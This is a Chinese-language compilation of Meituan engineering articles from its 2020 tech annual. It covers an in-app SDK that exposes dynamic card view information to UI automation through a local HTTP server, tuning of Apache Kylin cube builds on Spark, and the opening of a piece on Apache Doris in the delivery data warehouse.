目前的 UI 自动化测试，使用 Appium 进行页面元素的定位和操作。如下图所示，

AppiumServer 和 UiAutomator2 的手机端进行通信后完成元素的操作。

图 3　Appium 的通信原理

通过阅读Appium源码发现完成一次定位的流程如下图所示：

图 4　Appium 定位元素的实现流程

	● 首先，Appium通过调用 findElement的方式进行元素定位。

	● 然后，调用Android 提供 UIDevice对象的 findObject方法。

	● 最终，通过 PartialMatch.accept完成元素的查找。

接下来我们看一下，这个 PartialMatch.accept到底是如何完成元素定位的。通

过对于源码的研究，我们发现元素的信息都是存储在一个叫做 AccessibilityNo-

deInfo的对象里面。源码中使用大量 node.getXXX方法中的信息，大家是否眼熟

呢？这些信息其实就是我们日常自动化测试中可以获取UI 元素的属性。
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图 5　AppiumInspector 审查元素获取信息示意

Drawable无法获取元素信息，是否和 AccessibilityNodeInfo相关？我们进一

步探究 Drawable和 AccessibilityNodeInfo的关系。

AccessibilityNodeInfo 和 Drawable

通过对于源码的研究，我们绘制了如下类图来解释 AccessibilityNodeInfo和

Drawable之间的关系。

图 6　类关系示意图
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View实现了 AccessibilityEventSource接口并实现了一个叫做 onInitial-

izeAccessibilityNodeInfo的方法来填充信息。我们也在Android 官方文档中

找到了对于此信息的说明：

onInitializeAccessibilityNodeInfo()	：此方法为无障碍服务提供有关视图状态

的信息。默认的View 实现具有一组标准的视图属性，但如果您的自定义视图提

供除了简单的	TextView 或 Button 之外的其他互动控件，则您应替换此方法并

将有关视图的其他信息设置到由此方法处理的AccessibilityNodeInfo 对象中。

而 Drawable并没有实现对应的方法，所以也就无法被自动化测试找到。探究了元素

查找原理之后，我们就要开始着手解决问题了。

页面视图可测性改造 -XraySDK

定位方案对比

既然知道了 Drawable没有填充 AccessibilityNodeInfo，也就说明我无法接入

目前的自动化测试方案来完成页面内容的获取。那我们可以想到如下三种方案来解决

问题：

实现方案 影响范围

改造 Appium 定位方

式，让 Drawable 可以

被识别

需要改动底层的 AccessibilityNodeInfo obtain(View,int) 方法和为

Drawable 添加 AccessibilityNodeInfo 这样就需要对于所有的 Android 系统

做兼容，影响范围过大

使用 View 替代

Drawable
动态布局卡片使用 Drawable 进行绘制就是因为 Drawable 比 View 使用资源

更少，绘制性能更好，放弃使用 Drawable 就等于放弃了性能的改进

使用图像识别进行定位
动态卡片中有很多图像中包含文字，还有多行文本都会对图像识别的准确性带

来很大的影响

上面的三种方案，目前看来都无法有效地解决动态卡片元素定位的问题。如何在影响

范围较小的前提下，达成获取视图信息的目标呢？接下来，我们将进一步研究动态布

局的实现方案。

https://developer.android.com/guide/topics/ui/accessibility/custom-views?hl=zh-cn
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视图信息的获取和存储 -XrayDumper

我们的应用场景非常明确，自动化测试通过集成Client 来获得和客户端交互能力，

通过 Client 向 App 发送指令来页面信息的获取。那我们可以考虑内嵌一个 SDK

（XraySDK）来完成视图的获取，然后再向自动化提供一个客户端（XrayClient）来完

成这部分功能。

图 7　XraySDK 的工作流程示意图

对于XraySDK的功能划分，如下表所示：

模块名 功能划分 运行环境 产品形态

Xray-Client

1. 和 Xray-Server 进行交互进行指令发

送和数据的接收	

2. 暴露对外的Api 给自动化或者其他系统

自动化内部或者

三方系统内部

JAR包或基于其他

语言的依赖包

Xray-SDK

1. 进行页面信息的获取以及结构化

(Xray-Dumper)	

2. 接收用户指令来进行结构化数据输出

(Xray-Server)

App 内部
客户端SDK（AAR

和 Pod-Library）

XraySDK如何才能获取到我们需要的Drawable 信息呢？我们先来研究一下动态布

局的实现方案。

图 8　动态卡片的页面绘制流程

动态布局的视图呈现过程分为：解析模板 ->绑定数据 ->计算布局 ->页面绘制，计

算布局结束后，元素在页面上的位置就已经确定了，那么只要拦截这个阶段信息就可
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以实现视图信息的获取。

通过对于代码的研究，我们发现在 com.sankuai.litho.recycler.AdapterCompat

这个类中控制着视图布局行为，在 bindViewHolder中完成视图的最终的布局和计

算。首先，我们通过在此处插入一个自定义的监听器来拦截布局信息。

public final void bindViewHolder(BaseViewHolder<Data> viewHolder, int 
position) {
        if (viewHolder != null) {
            viewHolder.bindView(context, getData(position), position);

            //自动化测试回调
            if (componentTreeCreateListeners != null) {
                if (viewHolder instanceof LithoViewHolder) {
                    DataHolder holder = getData(position);
                    //获取视图布局信息
                    LithoView view = ((LithoViewHolder<Data>) 
viewHolder).lithoView;
                    LayoutController layoutController = 
((LithoDynamicDataHolder) holder).getLayoutController(null);
                    VirtualNodeBase node = layoutController.viewNodeRoot;
                    //通过监听器将视图信息向外传递给可测性 SDK
                    componentTreeCreateListeners.
onComponentTreeCreated(node, view.getRootView(), view.
getComponentTree());
                }
            }
        }
    }

然后，通过暴露一个静态方法给可测性SDK，完成监听器的初始化。

public static void 
setComponentTreeCreateListener(ComponentTreeCreateListener l) {
        AdapterCompat.componentTreeCreateListeners = l;
        try {
            // 兼容 mbc的动态布局自动化测试，为避免循环依赖，采用反射调用
            Class<?> mbcDynamicClass = Class.forName("com.sankuai.
meituan.mbc.business.item.dynamic.DynamicLithoItem");
            Method setComponentTreeCreateListener = 
mbcDynamicClass.getMethod("setComponentTreeCreateListener", 
ComponentTreeCreateListener.class);
            setComponentTreeCreateListener.invoke(null, l);

        } catch (Exception e) {
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            e.printStackTrace();
        }

        try {
            // 搜索新框架动态布局自动化测试
            Class<?> searchDynamicClass = Class.forName("com.sankuai.
meituan.search.result2.model.DynamicItem");
            Method setSearchComponentTreeCreateListener = 
searchDynamicClass.getMethod("setComponentTreeCreateListener", 
ComponentTreeCreateListener.class);
            setSearchComponentTreeCreateListener.invoke(null, l);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

最后，自动化通过设置自定义的监听器来完成视图信息的获取和存储。

//通过静态方法设置一个 ComponentTreeCreateListener来监听布局事件
AdapterCompat.setComponentTreeCreateListener(new AdapterCompat.
ComponentTreeCreateListener() {
            @Override
            public void onComponentTreeCreated(VirtualNodeBase node, 
View rootView, ComponentTree tree) {
                //将信息存储到一个自定义的 ViewInfoObserver对象中
                ViewInfoObserver vif = new ViewInfoObserver();
                vif.update(node, rootView, tree);
            }
        });

我们将视图信息存储在ViewInfoObserver 这样一个对象中。

public class ViewInfoObserver implements AutoTestObserver{
    public static HashMap<String, View> VIEW_MAP = new HashMap<>();
    public static HashMap<VirtualNodeBase, View> VIEW = new HashMap<>();
    public static HashMap<String, ComponentTree> COMPTREE_MAP = new 
HashMap<>();
    public static String uri = "http://dashboard.ep.dev.sankuai.com/
outter/dynamicTemplateKeyFromJson";

    @Override
    public void update(VirtualNodeBase vn, View view,ComponentTree tree) 
{
        if (null != vn && null != vn.jsonObject) {
            try {
                String string = vn.jsonObject.toString();
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                Gson g = new GsonBuilder().setPrettyPrinting().create();
                JsonParser p = new JsonParser();
                JsonElement e = p.parse(string);

                String templateName = null;
                String name1 = getObject(e,"templateName");
                String name2 = getObject(e,"template_name");
                String name3 = getObject(e,"template");
                templateName = null != name1 ? name1 : (null != name2 ? 
name2 : (null != name3 ? name3 : null));

                if (null != templateName) {
                //如果已经存储则更新视图信息
                    if (VIEW_MAP.containsKey(templateName)) {
                        VIEW_MAP.remove(templateName);
                    }
                    //存储视图编号
                    VIEW_MAP.put(templateName, view);
                    if (VIEW.containsKey(templateName)) {
                        VIEW.remove(templateName);
                    }
                    //存储视图信息
                    VIEW.put(vn, view);
                    if (COMPTREE_MAP.containsKey(templateName)) {
                        COMPTREE_MAP.remove(templateName);
                    }
                    COMPTREE_MAP.put(templateName, tree);
                    System.out.println("autotestDyn：update success");

                }

            } catch (Exception e) {
                System.out.println(e.toString());
                System.out.println("autotestDyn：templateName not exist!");
            }
        }
    }

当需要查询这些信息的时候，就可以通过XrayDumper 来完成信息的输出。

public class SubViewInfo {
    public JSONObject getOutData(String template) throws JSONException {
        JSONObject outData = new JSONObject();
        JSONObject componentTouchables = new JSONObject();

        if (!COMPTREE_MAP.isEmpty() && COMPTREE_MAP.containsKey(template) 
&& null != COMPTREE_MAP.get(template)) {
            ComponentTree cpt = COMPTREE_MAP.get(template);
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            JSONArray componentArray = new JSONArray();

            ArrayList<View> touchables = cpt.getLithoView().
getTouchables();
            LithoView lithoView = cpt.getLithoView();
            int[] ls = new int[2];
            lithoView.getLocationOnScreen(ls);
            int pointX = ls[0];
            int pointY = ls[1];

            for (int i = 0; i < touchables.size(); i++) {
                JSONObject temp = new JSONObject();
                int height = touchables.get(i).getHeight();
                int width = touchables.get(i).getWidth();
                int[] tl = new int[2];
                touchables.get(i).getLocationOnScreen(tl);
                temp.put("height",height);
                temp.put("width",width);
                temp.put("pointX",tl[0]);
                temp.put("pointY",tl[1]);

                String url = "";
                try {
                    EventHandler eh = (EventHandler) 
getValue(getValue(touchables.get(i), "mOnClickListener"), 
"mEventHandler");
                    DynamicClickListener listener = 
(DynamicClickListener) getValue(getValue(eh, "mHasEventDispatcher"), 
"listener");
                    Uri clickUri = (Uri) getValue(listener, "uri");
                    if (null != clickUri) {
                        url = clickUri.toString();
                    }
                } catch (Exception e) {
                    Log.d("autotest", "get click url error!");
                }

                temp.put("url",url);
                componentArray.put(temp);
            }
            componentTouchables.
put("componentTouchables",componentArray);
            componentTouchables.put("componentTouchablesCount", cpt.
getLithoView().getTouchables().size());

            View[] root = (View[])getValue(cpt.
getLithoView(),"mChildren");
            JSONArray allComponentArray = new JSONArray();
            if (root.length > 0) {
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                for (int i = 0; i < root.length; i++) {
                    try {
                        if (null != root[i]) {
                            Object items[] = (Object[]) 
getValue(getValue(root[i], "mMountItems"), "mValues");
                            componentTouchables.put("componentCount", 
items.length);
                            for (int itemIndex = 0; itemIndex < items.
length; itemIndex++) {
                                getMountItems(allComponentArray, 
items[itemIndex], pointX, pointY);
                            }
                        }
                    } catch (Exception e) {

                    }
                }
            }
            componentTouchables.
put("componentUntouchables",allComponentArray);
        } else {
            Log.d("autotest","COMPTREE_MAP is null!");
        }
        outData.put(template,componentTouchables);
        System.out.println(outData);
        return outData;
    }
    }
}

视图信息的输出 -XrayServer

我们获取到了信息，接下来就要考虑如何将视图信息传递给自动化测试脚本，我们参

考了Appium的设计。

Appium 通过在手机上安装的 InstrumentsClient 启动了一个 SocketServer 通过

HTTP协议来完成自动化和底层测试框架的数据通信。我们也可以借鉴上述思路，在

美团App中启动一个WebServer 来完成信息的输出。

第一步，我们实现了一个继承了Service 组件，这样就可以方便的通过命令行的方式

的启动和停止可测性的功能。
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public class AutoTestServer extends Service  {
    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
    ....
        return super.onStartCommand(intent, flags, startId);
    }
}

第二步，通过HttpServer 的方式对外暴露通信的接口。

public class AutoTestServer extends Service  {
    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        // 创建对象，端口通过参数传入
        if (intent != null) {
            int randNum = intent.getIntExtra("autoTestPort",8999);
            HttpServer myServer = new HttpServer(randNum);
            try {
                // 开启 HTTP服务
                myServer.start();
                System.out.println("AutoTestPort:" + randNum);
            } catch (IOException e) {
                System.err.println("AutoTestPort:" + e.getMessage());
                myServer = new HttpServer(8999);
                try {
                    myServer.start();
                    System.out.println("AutoTestPort:8999");
                } catch (IOException e1) {
                    System.err.println("Default:" + e.getMessage());
                }
            }
        }
        return super.onStartCommand(intent, flags, startId);
    }
}

第三步，将之前设置好的监听器进行注册。
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public class AutoTestServer extends Service  {
    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
    //注册监听器
        AdapterCompat.setComponentTreeCreateListener(new AdapterCompat.
ComponentTreeCreateListener() {
            @Override
            public void onComponentTreeCreated(VirtualNodeBase node, 
View rootView, ComponentTree tree) {
                ViewInfoObserver vif = new ViewInfoObserver();
                vif.update(node, rootView, tree);
            }
        });

        // 创建对象，端口通过参数传入
        .....
        return super.onStartCommand(intent, flags, startId);
    }
}

最后，在HttpServer 中通过不同的路径来实现接收不同的指令。

private JSONObject getResponseByUri(@Nonnull IHTTPSession session) throws 
JSONException {
        String uri = session.getUri();
        if (isFindCommand(uri)) {
            return getResponseByFindUri(uri);
        }
}

@Nonnull
private JSONObject getResponseByFindUri(@Nonnull String uri) throws 
JSONException {
    String template = uri.split("/")[2];
    String protocol = uri.split("/")[3];
    switch (protocol) {
        case "frame":
            TemplateLayoutFrame tlf = new TemplateLayoutFrame();
            return tlf.getOutData(template);
        case "subview":
            SubViewInfo svi = new SubViewInfo();
            return svi.getOutData(template);
        //省略了部分的代码处理逻辑    
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        ....
        default:
            JSONObject errorJson = new JSONObject();
            errorJson.put("success", false);
            errorJson.put("message", "输入 find链接地址有误 ");
            return errorJson;
    }
}

SDK 整体功能结构

自动化脚本通过访问设备的特定端口（例如：http://localhost:8899/find/subview），

经由 XrayServer，通过访问路径将请求转发至 XrayDumper 进行信息的提取和输

出。然后布局解析器将布局信息序列化成 JSON数据，再经由XrayServer，通过网

络以HTTP响应的方式传到给自动化测试脚本。

图 9　-XraySDK 功能结构示意图

视图信息的增强

除了常规的位置、内容、类型等信息，我们还通过检查时间监听器的方式，进一步判

断视图元素是否可以进行交互，进一步增强了页面视图结构的有效信息。

// setGestures
ArrayList<String> gestures = new ArrayList<>();
if (view.isClickable()){
   gestures.add(“isClickable”);
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}
if (view.isLongClickable()){
   gestures.add(“isLongClickable”);
}
//省略部分代码
.....

动态布局自动化的收益

基于视图可测性的提升，美团动态化卡片的自动化测试覆盖度有了大幅的提升，从原

来无法做自动化测试，到目前 80%以上的动态化卡片都实现了自动化测试，而且效

率也得到了明显的提升。

图 10　自动化效率提升收益

未来展望

页面视图信息作为客户端测试最基础且重要的属性之一，是对用户视觉信息的一种代

码级的表示。它对于机器识别页面元素信息有着非常重要的作用，对于它的可测性改

造将会给技术团队带来很大的收益。我们会列举了几个视图可测性改造的探索方向，

仅供大家参考。

使用视图解析原理解决 WebView 元素定位

应用同样的思想，我们还可以用来解决WebView 元素定位的问题。
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图 11　WebView 页面示例

通过运行在App 内部的 SDK，可以获取到对应的WebView 实例。通过获取到根节

点，从根节点开始进行循环遍历，同时把每个节点的信息存储下来就可以得到所有的

视图信息了。

在WebView 是否也有同样合适的根节点呢？基于对于HTML的理解我们可以想到

HTML中所有的标签都是挂在BODY标签下面的，BODY标签就是我们需要选取的

根节点。我们可以通过WebElement[“attrName”] 的方式来进行属性的获取。
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图 12　遍历 WebView 节点的代码示例

视图可测性改造的更多应用场景
	● 提升功能测试可靠性：在功能测试自动化中，通过内部更加稳定和迅速的视图

信息输出，可以有效提升自动化测试的稳定性。避免由于元素无法获取或者元

素获取缓慢导致的自动化测试失败。

	● 提升可靠性测试效率：对于依靠随机或者按照视图信息进行页面随机操作的可

靠性测试，依赖对于视图信息的过滤，也可以只操作可以交互的元素（通过过

滤元素事件监听器是否为空）。这样就可以有效提升可靠性测试的效率，在单

位时间内可以完成更多页面的检测。

	● 增加兼容性测试检测手段：在页面兼容性方面，通过对页面组件位置信息和属

性来扫描页面内是否存在不合理的堆叠、空白区域、形状异常等UI 呈现异常。

也可以获取内容信息，例如图片、文本，来检查是否存在不适宜内容呈现。可

以作为图像对比方案的有效补充。

招聘信息
美团平台质量技术中心，负责美团	App	业务和大前端（移动客户端和Web前端）基础技术质量

工作，沉淀流程规范和配套工具、提升研发效率。团队技术一流、氛围良好，感兴趣的同学简

历可以发送至 :	zhangjie63@meituan.com



Apache Kylin 的实践与优化

作者：岳庆

背景

销售业务的特点是规模大、领域多、需求密。美团到店餐饮擎天销售系统（以下简称

“擎天”）作为销售数据支持的主要载体，不仅涉及的范围较广，而且面临的技术场景

也非常复杂（多组织层级数据展示及鉴权、超过 1/3 的指标需要精准去重，峰值查询

已经达到数万级别）。在这样的业务背景下，建设稳定高效的OLAP引擎，协助分析

人员快速决策，已经成为到餐擎天的核心目标。

Apache	Kylin 是一个基于Hadoop 大数据平台打造的开源OLAP引擎，它采用了多

维立方体预计算技术，利用空间换时间的方法，将查询速度提升至亚秒级别，极大地

提高了数据分析的效率，并带来了便捷、灵活的查询功能。基于技术与业务匹配度，

擎天于 2016 年采用Kylin 作为OLAP引擎，接下来的几年里，这套系统高效地支撑

了我们的数据分析体系。

2020 年，美团到餐业务发展较快，数据指标也迅速增加。基于 Kylin 的这套系统，

在构建和查询上均出现了严重的效率问题，从而影响到数据的分析决策，并给用户体

验优化带来了很大的阻碍。技术团队经过半年左右的时间，对Kylin 进行一系列的优

化迭代，包括维度裁剪、模型设计以及资源适配等等等，帮助销售业绩数据SLA从

90%提升至 99.99%。基于这次实战，我们沉淀了一套涵盖了“原理解读”、“过程

拆解”、“实施路线”的技术方案。希望这些经验与总结，能够帮助业界更多的技术团

队提高数据产出与业务决策的效率。

数据

http://kylin.apache.org/cn/
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问题与目标

销售作为衔接平台和商家的桥梁，包含销售到店和电话拜访两种业务模式，以战区、

人力组织架构逐级管理，所有分析均需要按 2套组织层级查看。在指标口径一致、数

据产出及时等要求下，我们结合Kylin 的预计算思想，进行了数据的架构设计。如下

图所示：

而 Kylin 计算维度组合的公式是 2^N（N为维度个数），官方提供维度剪枝的方式，

减少维度组合个数。但由于到餐业务的特殊性，单任务不可裁剪的组合个数仍高达

1000+。在需求迭代以及人力、战区组织变动的场景下，需要回溯全部历史数据，会

耗费大量的资源以及超高的构建时长。而基于业务划分的架构设计，虽能够极大地保

证数据产出的解耦，保证指标口径的一致性，但是对Kylin 构建产生了很大的压力，

进而导致资源占用大、耗时长。基于以上业务现状，我们归纳了Kylin 的 MOLAP模

式下存在的问题，具体如下：

1.	效率问题命中难（实现原理）：构建过程步骤多，各步骤之间强关联，仅从问

题的表象很难发现问题的根本原因，无法行之有效地解决问题。

2.	构建引擎未迭代（构建过程）：历史任务仍采用MapReduce 作为构建引擎，

没有切换到构建效率更高的Spark。
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3.	资源利用不合理（构建过程）：资源浪费、资源等待，默认平台动态资源适配

方式，导致小任务申请了大量资源，数据切分不合理，产生了大量的小文件，

从而造成资源浪费、大量任务等待。

4.	核心任务耗时长（实施路线）：擎天销售交易业绩数据指标的源表数据量大、

维度组合多、膨胀率高，导致每天构建的时长超过 2个小时。

5.	SLA 质量不达标（实施路线）：SLA的整体达成率未能达到预期目标。

在认真分析完问题，并确定提效的大目标后，我们对Kylin 的构建过程进行了分类，

拆解出在构建过程中能提升效率的核心环节，通过“原理解读”、“层层拆解”、“由点

及面”的手段，达成双向降低的目标。具体量化目标如下图所示：

优化前提 - 原理解读

为了解决效率提升定位难、归因难的问题，我们解读了Kylin 构建原理，包含了预计

算思想以及By-layer 逐层算法。
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预计算

根据维度组合出所有可能的维度，对多维分析可能用到的指标进行预计算，将计算好

的结果保存成Cube。假设我们有 4个维度，这个Cube 中每个节点（称作Cuboid）

都是这 4个维度的不同组合，每个组合定义了一组分析的维度（如 group	by），指标

的聚合结果就保存在每个Cuboid 上。查询时，我们根据SQL找到对应的Cuboid，

读取指标的值，即可返回。如下图所示：

By-layer 逐层算法

一个 N 维的 Cube，是由 1 个 N 维子立方体、N 个（N-1）维子立方体、N*(N-

1)/2 个 (N-2) 维子立方体、……N个 1维子立方体和 1个 0维子立方体构成，总共
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有	2^N 个子立方体。在逐层算法中，按照维度数逐层减少来计算，每个层级的计算

（除了第一层，由原始数据聚合而来），是基于上一层级的计算结果来计算的。例如：

group	by	[A,B] 的结果，可以基于 group	by	[A,B,C] 的结果，通过去掉C后聚合得

来的，这样可以减少重复计算，当 0维Cuboid 计算出来的时候，整个Cube 的计算

也就完成了。如下图所示：

过程分析 - 层层拆解

在了解完Kylin 的底层原理后，我们将优化的方向锁定在“引擎选择”、“数据读取”、

“构建字典”、“分层构建”、“文件转换”五个环节，再细化各阶段的问题、思路及目

标后，我们终于做到了在降低计算资源的同时降低了耗时。详情如下表所示：
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构建引擎选择

目前，我们已经将构建引擎已逐步切换为Spark。擎天早在 2016 年就使用Kylin 作

为OLAP引擎，历史任务没有切换，仅仅针对MapReduce 做了参数优化。其实在

2017 年，Kylin 官网已启用Spark 作为构建引擎（官网启用Spark 构建引擎），构建

效率相较MapReduce 提升 1至 3倍，还可通过Cube 设计选择切换，如下图所示：

读取源数据

Kylin 以外部表的方式读取Hive 中的源数据，表中的数据文件（存储在HDFS）作为

下一个子任务的输入，此过程可能存在小文件问题。当前，Kylin 上游数据宽表文件

数分布比较合理，无需在上游设置合并，如果强行合并反而会增加上游源表数据加工

时间。

http://spark.apache.org/docs/2.2.1/configuration.html
http://kylin.apache.org/cn_blog/2017/02/25/v2.0.0-beta-ready/
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对于项目需求，要回刷历史数据或增加维度组合，需要重新构建全部的数据，通常采

用按月构建的方式回刷历史，加载的分区过多出现小文件问题，导致此过程执行缓

慢。在Kylin 级别重写配置文件，对小文件进行合并，减少Map 数量，可有效地提

升读取效率。

合并源表小文件：合并Hive 源表中小文件个数，控制每个 Job 并行的 Task 个数。

调整参数如下表所示：

Kylin 级别参数重写：设置Map读取过程的文件大小。调整参数如下表所示：

构建字典

Kylin 通过计算Hive 表出现的维度值，创建维度字典，将维度值映射成编码，并保存

保存统计信息，节约HBase 存储资源。每一种维度组合，称为一个Cuboid。理论

上来说，一个N维的Cube，便有 2^N种维度组合。

组合数量查看

在对维度组合剪枝后，实际计算维度组合难以计算，可通过执行日志（截图为提取事

实表唯一列的步骤中，最后一个Reduce 的日志），查看具体的维度组合数量。如下

图所示：



138　>　美团 2020 技术年货

全局字典依赖

擎天有很多业务场景需要精确去重，当存在多个全局字典列时，可设置列依赖，例

如：当同时存在“门店数量”、“在线门店数量”数据指标，可设置列依赖，减少对超

高基维度的计算。如下图所示：

计算资源配置

当指标中存在多个精准去重指标时，可适当增加计算资源，提升对高基维度构建的效

率。参数设置如下表所示：

分层构建

此过程为 Kylin 构建的核心，切换 Spark 引擎后，默认只采用 By-layer 逐层算法，
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不再自动选择（By-layer 逐层算法、快速算法）。Spark 在实现 By-layer 逐层算法

的过程中，从最底层的Cuboid 一层一层地向上计算，直到计算出最顶层的Cuboid

（相当于执行了一个不带 group	by 的查询），将各层的结果数据缓存到内存中，跳过

每次数据的读取过程，直接依赖上层的缓存数据，大大提高了执行效率。Spark 执行

过程具体内容如下。

Job 阶段

Job 个数为 By-layer 算法树的层数，Spark 将每层结果数据的输出，作为一个

Job。如下图所示：

Stage 阶段

每个 Job 对应两个 Stage 阶段，分为读取上层缓存数据和缓存该层计算后的结果数

据。如下图所示：
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Task 并行度设置

Kylin 根据预估每层构建Cuboid 组合数据的大小（可通过维度剪枝的方式，减少维度

组合的数量，降低Cuboid 组合数据的大小，提升构建效率，本文暂不详细介绍）和

分割数据的参数值计算出任务并行度。计算公式如下：

	● Task 个数计算公式：Min(MapSize/cut-mb	，MaxPartition)	；Max(Map-

Size/cut-mb	，MinPartition)

	○ MapSize：每层构建的Cuboid 组合大小，即：Kylin 对各层级维度组合大小

的预估值。

	○ cut-mb：分割数据大小，控制 Task 任务并行个数，可通过 kylin.engine.

spark.rdd-partition-cut-mb参数设置。

	○ MaxPartition：最大分区，可通过kylin.engine.spark.max-partition参数设置。

	○ MinPartition：最小分区，可通过kylin.engine.spark.min-partition参数设置。

	● 输出文件个数计算：每个 Task 任务将执行完成后的结果数据压缩，写入

HDFS，作为文件转换过程的输入。文件个数即为：Task 任务输出文件个数

的汇总。

资源申请计算

平台默认采用动态方式申请计算资源，单个 Executor 的计算能力包含：1个逻辑
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CPU（以下简称CPU）、6GB堆内内存、1GB的堆外内存。计算公式如下：

	● CPU	=	kylin.engine.spark-conf.spark.executor.cores	*	 实 际 申 请 的

Executors 个数。

	● 内 存	=（kylin.engine.spark-conf.spark.executor.memory	+	spark.yarn.

executor.memoryOverhead）*	实际申请的Executors 个数。

	● 单 个 Executor 的 执 行 能 力	=	kylin.engine.spark-conf.spark.executor.

memory	/	kylin.engine.spark-conf.spark.executor.cores，即：1 个 CPU

执行过程中申请的内存大小。

	● 最大Executors个数	=	kylin.engine.spark-conf.spark.dynamicAllocation.

maxExecutors，平台默认动态申请，该参数限制最大申请个数。

在资源充足的情况下，若单个 Stage 阶段申请 1000 个并行任务，则需要申请资

源达到 7000GB 内存和 1000 个 CPU，即：CPU：1*1000=1000；内存：（6+1）

*1000=7000GB。

资源合理化适配

由于By-layer 逐层算法的特性，以及Spark 在实际执行过程中的压缩机制，实际执

行的 Task 任务加载的分区数据远远小于参数设置值，从而导致任务超高并行，占用

大量资源，同时产生大量的小文件，影响下游文件转换过程。因此，合理的切分数据

成为优化的关键点。通过Kylin 构建日志，可查看各层级的Cuboid 组合数据的预估

大小，以及切分的分区个数（等于Stage 阶段实际生成的 Task 个数）。如下图所示：

结合Spark	UI 可查看实执行情况，调整内存的申请，满足执行所需要的资源即可，

减少资源浪费。
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1. 整体资源申请最小值大于Stage 阶段 Top1、Top2 层级的缓存数据之和，保证缓

存数据全部在内存。如下图所示：

计算公式：Stage 阶段 Top1、Top2 层级的缓存数据之和	<	kylin.engine.spark-

conf.spark.executor.memory	 *	 kylin.engine.spark-conf.spark.memory.

fraction	*	spark.memory.storageFraction	* 最大 Executors 个数

2. 单个 Task 实际所需要的内存和CPU（1个 Task 执行使用 1个 CPU）小于单个

Executor 的执行能力。如下图所示：

计算公式：单个Task实际所需要的内存	<	kylin.engine.spark-conf.spark.executor.

memory	*	kylin.engine.spark-conf.spark.memory.fraction	*	spark.memory.

st·orageFraction	/	kylin.engine.spark-conf.spark.executor.cores。参数说明

如下表所示：
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文件转换

Kylin 将构建之后的Cuboid 文件转换成HTable 格式的Hfile 文件，通过BulkLoad

的方式将文件和HTable 进行关联，大大降低了HBase 的负载。此过程通过一个

MapReduce任务完成，Map个数为分层构建阶段输出文件个数。日志如下：

此阶段可根据实际输入的数据文件大小（可通过MapReduce 日志查看），合理申请

计算资源，避免资源浪费。

计算公式：Map 阶段资源申请	=	kylin.job.mr.config.override.mapreduce.map.

memory.mb	*	分层构建阶段输出文件个数。具体参数如下表所示：
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实施路线 - 由点及面

交易试点实践

我们通过对Kylin 原理的解读以及构建过程的层层拆解，选取销售交易核心任务进行

试点实践。如下图所示：

实践结果对比

针对销售交易核心任务进行实践优化，对比调整前后资源实际使用情况和执行时长，

最终达到双向降低的目标。如下图所示：
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成果展示

资源整体情况

擎天现有 20+ 的 Kylin 任务，经过半年时间持续优化迭代，对比Kylin 资源队列月均

CU使用量和 Pending 任务 CU使用量，在同等任务下资源消耗已明显降低。如下

图所示：
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SLA 整体达成率

经过了由点及面的整体优化，擎天于 2020 年 6 月 SLA 达成率达到 100%。如下图

所示：

展望

Apache	Kylin 在 2015 年 11 月正式成为 Apache 基金会的顶级项目。从开源到成

为Apache 顶级项目，只花了 13个月的时间，而且它也是第一个由中国团队完整贡

献到Apache 的顶级项目。目前，美团采用比较稳定的V2.0 版本，经过近 4年的使

用与积累，到餐技术团队在优化查询性能以及构建效率层面都积累了大量经验，本文

主要阐述了在Spark 构建过程的资源适配方法。值得一提的是，Kylin 官方在 2020

年 7 月发布了 V3.1 版本，引入了 Flink 作为构建引擎，统一使用 Flink 构建核心过

程，包含数据读取阶段、构建字典阶段、分层构建阶段、文件转换阶段，以上四部分

占整体构建耗时的 95%以上。此次版本的升级也大幅度提高了 Kylin 的构建效率。

详情可查看：Flink	Cube	Build	Engine。

回顾 Kylin 构建引擎的升级过程，从MapReduce 到 Spark，再到如今的 Flink，

构建工具的迭代始终向更加优秀的主流引擎在靠拢，而且Kylin 社区有很多活跃的优

https://issues.apache.org/jira/browse/KYLIN-3758
http://spark.apache.org/docs/2.2.1/configuration.html


数据　<　147

秀代码贡献者，他们也在帮助扩大Kylin 的生态，增加更多的新功能，非常值得大家

学习。最后，美团到店餐饮技术团队再次表达对Apache	Kylin 项目团队的感谢。

作者简介
岳庆，2019 年加入美团，到店餐饮研发中心工程师。
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Apache Doris 在美团外卖数仓中的应用实践

作者：朱良

序言

美团外卖数据仓库技术团队负责支撑日常业务运营及分析师的日常分析，由于外卖

业务特点带来的数据生产成本较高和查询效率偏低的问题，他们通过引入 Apache	

Doris 引擎优化生产方案，实现了低成本生产与高效查询的平衡。并以此分析不同业

务场景下，基于 Kylin 的 MOLAP 模式与基于Doris 引擎的 ROLAP 模式的适用性

问题。希望能对大家有所启发或者帮助。

本文侧重于以Doris 引擎为“发动机”的数仓生产架构的改进与思考。在开源的大环

境下，各种数据引擎百花齐放，但由于业务的复杂性与多样性，目前并没有哪个引擎

能够适配所有业务场景，因此希望通过我们的业务实践与思考为大家提供一些经验参

考。美团外卖数仓技术团队致力于将数据应用效率最大化，同时兼顾研发、生产与运

维成本的最小化，建设持续进步的数仓能力，也欢迎大家多给我们提出建议。

数仓交互层引擎的应用现状

目前，互联网业务规模变得越来越大，不论是业务生产系统还是日志系统，基本上都

是基于Hadoop/Spark 分布式大数据技术生态来构建数据仓库，然后对数据进行适

当的分层、加工、管理。而在数据应用交互层面，由于时效性的要求，数据最终的展

现查询还是需要通过DBMS（MySQL）、MOLAP（Kylin）引擎来进行支撑。如下图

所示：
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汇总数据的交互

业务团队日常经营分析最典型的场景就是各种维度下的自定义查询，面对如此灵活

可变、所见即所得的应用场景，美团平台使用 Kylin 作为公司的主要MOLAP 引

擎。MOLAP 是预计算生产，在增量业务，预设维度分析场景下表现良好，但在变

化维的场景下生产成本巨大。例如，如果使用最新商家类型回溯商家近三个月的表

现，需要重新计算三个月的 Cube，需花费几个小时，来计算近 TB 的历史数据。

另外，应对非预设维度分析，MOLAP 模型需要重新进行适配计算，也需要一定的

迭代工作。

明细数据的交互

业务分析除了宏观数据之外，对明细数据查询也是一种刚需。通常大家会选择

MySQL等关系型DB作为明细数据的快速检索查询，但当业务成长较快时，很快就

会遇到性能瓶颈，并且运维成本也很高。例如，大数据量的同步、新增字段、历史数

据更新等操作，它们的维护成本都非常高。

